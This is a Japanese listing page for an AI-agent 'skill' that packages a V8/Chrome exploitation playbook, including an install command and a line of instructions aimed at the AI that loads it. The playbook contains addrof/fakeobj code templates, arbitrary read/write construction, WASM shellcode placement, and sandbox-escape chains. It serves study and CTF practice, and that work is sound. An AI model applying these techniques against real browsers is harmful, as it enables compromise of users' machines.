mcpField
B
browser-exploitation-v8

browser-exploitation-v8

github.com/yaklangセキュリティ2.6k3.7k 回インストール6 週間前に更新
リポジトリ

browser-exploitation-v8 について

browser-exploitation-v8 は、V8 と Chrome の攻撃手法を学ぶためのセキュリティスキルです。JIT の脆弱性、メモリ操作プリミティブ、ポインター圧縮の制約、レンダラー侵害から Chrome サンドボックス脱出までを解説します。

主な機能

  1. 01V8 のコンパイル工程とオブジェクト表現
  2. 02JIT バグの種類と発生方法
  3. 03addrof と fakeobj のプリミティブ
  4. 04ArrayBuffer と WASM のメモリ操作
  5. 05V8 サンドボックスと Chrome 脱出の概要

活用シーン

  1. 01V8 の攻撃概念の学習
  2. 02JIT 型混同脆弱性の分析
  3. 03ポインター圧縮の制約の把握
  4. 04レンダラーの脆弱性からサンドボックス脱出までの追跡

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill browser-exploitation-v8

インストール後、Claude Code で/browser-exploitation-v8を入力して読み込まれたか確認します。

同梱ファイルV8_EXPLOITATION_PATTERNS.md

詳細

スキル:ブラウザー/V8 エクスプロイト — エキスパート向け攻撃プレイブック

AI 読み込み指示:エキスパート向けの V8/Chrome エクスプロイト技術です。V8 のコンパイルパイプライン、JIT の型混同、addrof/fakeobj プリミティブ、ArrayBuffer の破損、WASM の RWX ページ、V8 サンドボックス(ポインター圧縮)、Chrome サンドボックスのエスケープ概要を扱います。ctf-wiki のブラウザー関連セクション、Project Zero の調査、CTF 大会の傾向から要点をまとめています。ベースモデルは、V8 オブジェクトの表現に関する詳細を誤解し、ポインター圧縮の制約を見落とすことがよくあります。

0. 関連するルーティング

高度なリファレンス

以下が必要な場合は、V8_EXPLOITATION_PATTERNS.md を読み込んでください。

  • 詳細なエクスプロイトパターンとコードテンプレート
  • ヒープレイアウトの操作と GC の相互作用
  • V8 サンドボックスの回避技術
  • オブジェクトマップの混同パターン

1. V8 アーキテクチャ

コンパイルパイプライン
JavaScript Source
    ↓ Parser
  AST (Abstract Syntax Tree)
    ↓ Ignition
  Bytecode (interpreted, profiling)
    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
  Baseline code (fast startup)
    ↓ Maglev (mid-tier, V8 ≥ 10.2)
  Mid-optimized code
    ↓ TurboFan (optimizing JIT)
  Optimized machine code (with speculative optimizations)
    ↓ Deoptimization (if speculation fails)
  Back to Ignition bytecode
V8 の主要な概念
概念説明
タグ付きポインターSMI(小整数):value << 1、HeapObject:ptr | 1
ポインター圧縮V8 ≥ 8.0:オブジェクトはケージのベースからの 32 ビットオフセットを使ってアドレス指定されます(4GB のサンドボックス)
マップ(隠しクラス)オブジェクトの形状を定義します。プロパティ名、型、オフセットが含まれます
要素の種類内部配列型:PACKED_SMI_ELEMENTS、PACKED_DOUBLE_ELEMENTS、PACKED_ELEMENTS など
書き込みバリアヒープポインターの書き込み時に行う GC の記録処理
ガベージコレクションOrinoco GC:マイナー(Scavenge)とメジャー(Mark-Compact)
オブジェクトの表現(64 ビット、ポインター圧縮)
HeapObject in V8 heap (compressed):
  +0x00: Map pointer (compressed, 32-bit offset)
  +0x04: Properties/Hash
  +0x08: Elements pointer (compressed)
  +0x0C: Length (for arrays)
  +0x10: Inline properties or backing store data

2. よくある V8 のバグの種類

バグの種類説明例
JIT の型混同最適化後、TurboFan が誤った型を仮定します投機的な型ガードが削除され、誤った操作が適用されます
不正な境界チェック削除誤った範囲解析に基づき、JIT が配列の境界チェックを削除しますCheckBounds ノードが削除され、OOB アクセスが発生します
プロトタイプチェーンの混同最適化でプロトタイプが安定していると仮定しますが、変更によって前提が無効になります最適化後にプロトタイプが変更され、誤ったプロパティアクセスが発生します
TurboFan の縮約バグ強度縮約や定数畳み込みが誤っています範囲解析での整数オーバーフロー
競合状態SharedArrayBuffer とワーカースレッドによる競合並行変更による型混同
組み込み機能の off-by-one組み込み関数の実装に境界エラーがあります文字列/配列の境界
Typer のバグTurboFan における型範囲の計算が誤っていますTyper は値が [0, N] の範囲内と判定しますが、実際には N+1 になる場合があります
JIT 最適化のトリガー
function vuln(arr) {
    // ... vulnerable code path ...
}
// Force optimization by calling many times
for (let i = 0; i < 100000; i++) {
    vuln(arr);
}
// Or use V8 intrinsics (d8 only):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);

3. エクスプロイトプリミティブ

addrof — オブジェクトアドレスのリーク
// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object

function addrof(obj) {
    // Setup depends on specific bug
    // Typically: trigger type confusion so array reads obj ref as float
    object_array[0] = obj;
    return ftoi(confused_float_array[0]);  // float-to-int conversion
}
fakeobj — 偽のオブジェクト参照の作成
// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
//         read from confused object array → treated as object reference

function fakeobj(addr) {
    confused_float_array[0] = itof(addr);  // int-to-float conversion
    return object_array[0];                 // now a "pointer" to addr
}
addrof + fakeobj による任意の読み書き機能の構築
// 1. Create a Float64Array with known layout
let rw_array = new Float64Array(0x100);
let rw_array_addr = addrof(rw_array);

// 2. Fake a Float64Array object at controlled address with modified backing_store
// 3. Corrupt backing_store pointer to target address
// 4. Read/write through the fake Float64Array → arbitrary R/W

function read64(addr) {
    // Set fake array's backing_store = addr
    write_to_fake_backingstore(addr);
    return fake_float64array[0];
}

function write64(addr, value) {
    write_to_fake_backingstore(addr);
    fake_float64array[0] = value;
}

4. 配列境界の混同による OOB 読み書き

TurboFan が境界チェックを誤って削除した場合:

function trigger(arr, idx) {
    // TurboFan thinks idx is always < arr.length
    // But due to bug, idx can exceed bounds
    return arr[idx];  // OOB read
}

// OOB read adjacent memory (next heap object's metadata)
// OOB write to corrupt next object's map/elements/length
V8 ヒープ内で隣接するもの

オブジェクトは V8 の若い世代(new space)に順次割り当てられます。割り当て順序を制御すると:

let arr1 = new Array(0x10);    // spray object
let arr2 = new Float64Array(0x10);  // target: adjacent to arr1
// OOB from arr1 can reach arr2's metadata
// Corrupt arr2's length → unconstrained OOB on arr2

5. ArrayBuffer による任意の読み書き

ArrayBuffer のバッキングストアは、割り当てられたメモリーへの生ポインターです。これを破損させると、任意のメモリーの読み書きが可能になります。

let ab = new ArrayBuffer(0x100);
let view = new DataView(ab);
// If we can overwrite ab's backing_store pointer:
// ab.backing_store = target_addr
// view.getFloat64(0) → reads 8 bytes from target_addr
// view.setFloat64(0, val) → writes to target_addr
V8 サンドボックス(ポインター圧縮)の影響

V8 ≥ 8.0(ポインター圧縮)および V8 サンドボックス(≥ 11.x)では:

  • ArrayBuffer.backing_store はサンドボックスポインターです(V8 ケージ内、4GB 領域)
  • V8 ケージの外部を直接指すことはできません
  • プロセスのメモリー全体にアクセスするにはサンドボックスエスケープが必要です

6. WASM RWX ページ

一部のプラットフォームでは、WebAssembly の JIT コードが RWX(読み取り・書き込み・実行)ページに配置されます。

// Allocate WASM module → JIT compiles to RWX page
let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
let mod = new WebAssembly.Module(wasm_code);
let instance = new WebAssembly.Instance(mod);
// instance.exports.func → points to RWX page

// If we can find and write to this page:
// 1. addrof(instance) → find WASM instance object
// 2. Follow pointers: instance → jump_table_start → RWX page
// 3. Use arbitrary write to overwrite RWX page with shellcode
// 4. Call instance.exports.func() → executes shellcode

最新の Chrome:W^X の強制により、WASM ページは RW または RX のいずれかであり、同時に RWX にはなりません。JIT コードは RW モードで書き込まれ、その後 RX に切り替わります。悪用するには、書き込み可能な時間帯を見つけるか、JIT スプレーを使用する必要があります。


7. V8 サンドボックス

アーキテクチャ(V8 ≥ 11.x)
Process Virtual Address Space:
┌──────────────────────────────────────┐
│  V8 Sandbox Cage (4GB region)        │
│  ├── V8 Heap (JS objects)            │
│  ├── ArrayBuffer backing stores      │
│  ├── WASM memory                     │
│  └── External pointer table          │
├──────────────────────────────────────┤
│  Process memory outside cage         │
│  ├── libc, Chrome code               │
│  ├── Stack                           │
│  └── Other allocations               │
└──────────────────────────────────────┘
サンドボックス脱出の手法
手法方法
外部ポインターテーブル外部ポインターテーブルのエントリーを破損させ、任意のアドレスを参照させる
WASM コードポインターWASM 関数のエントリーを上書きし、制御可能なシェルコードへジャンプさせる
JIT コードの破損競合状態またはポインターの取り違えにより、JIT コードページに書き込む
Mojo IPC(Chrome)Chrome IPC を悪用し、侵害されたレンダラーからブラウザープロセスを攻撃する
バッキングストアのシール回避型の取り違えを見つけ、サンドボックス外のポインターを取得する

8. CHROME サンドボックスからの脱出(概要)

レンダラープロセスは(V8 のエクスプロイトによって)RCE が発生した後も、サンドボックス内にあります。完全に侵害するには、次の手順が必要です。

段階対象例
レンダラーのエクスプロイトV8 / Blink DOM型の取り違え → シェルコード
IPC/Mojo のバグChrome IPC レイヤーMojo インターフェイスの解放後使用
ブラウザープロセスのエクスプロイト特権を持つブラウザープロセスサンドボックス外でのコード実行

Mojo インターフェイス(Chrome の IPC)は攻撃対象領域となります。Mojo メッセージハンドラーで解放後使用や型の取り違えを探してください。


9. ツール

# V8 debugging
d8 --allow-natives-syntax exploit.js  # Enable V8 intrinsics (%DebugPrint, etc.)
d8 --trace-turbo exploit.js           # Dump TurboFan IR
d8 --print-opt-code exploit.js        # Print optimized machine code

# Turbolizer: visual TurboFan IR graph
# Chrome DevTools Memory panel: heap snapshots

# Build V8 for debugging
git clone https://chromium.googlesource.com/v8/v8.git
gclient sync
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false'
ninja -C out/debug d8

10. 意思決定ツリー

V8 vulnerability identified
├── Bug type?
│   ├── JIT type confusion → trigger optimization, confuse array element kinds
│   ├── Bounds check elimination → OOB read/write on array
│   ├── Typer bug → incorrect range leads to OOB
│   └── Builtin bug → direct memory corruption primitive
│
├── Build primitives
│   ├── Can confuse object array ↔ float array?
│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap
│   ├── OOB on array?
│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W
│   └── Direct write primitive?
│       └── Target WASM instance or ArrayBuffer metadata
│
├── V8 sandbox enabled?
│   ├── YES (modern Chrome) →
│   │   ├── R/W limited to V8 cage (4GB)
│   │   ├── Need sandbox escape: external pointer table corruption,
│   │   │   WASM code pointer overwrite, or Mojo bug
│   │   └── Then proceed to shellcode execution
│   └── NO (older V8, CTF, d8) →
│       ├── Corrupt ArrayBuffer backing_store → absolute R/W
│       └── Overwrite WASM RWX page → shellcode
│
├── Code execution method
│   ├── WASM RWX page available? → write shellcode, call WASM func
│   ├── JIT code writable? → overwrite JIT code
│   └── ROP needed? → corrupt stack or return address
│
└── Full browser exploit chain
    ├── Stage 1: V8 bug → renderer RCE
    ├── Stage 2: Mojo IPC bug → browser process compromise
    └── Stage 3: OS-level escalation (if needed)

コメント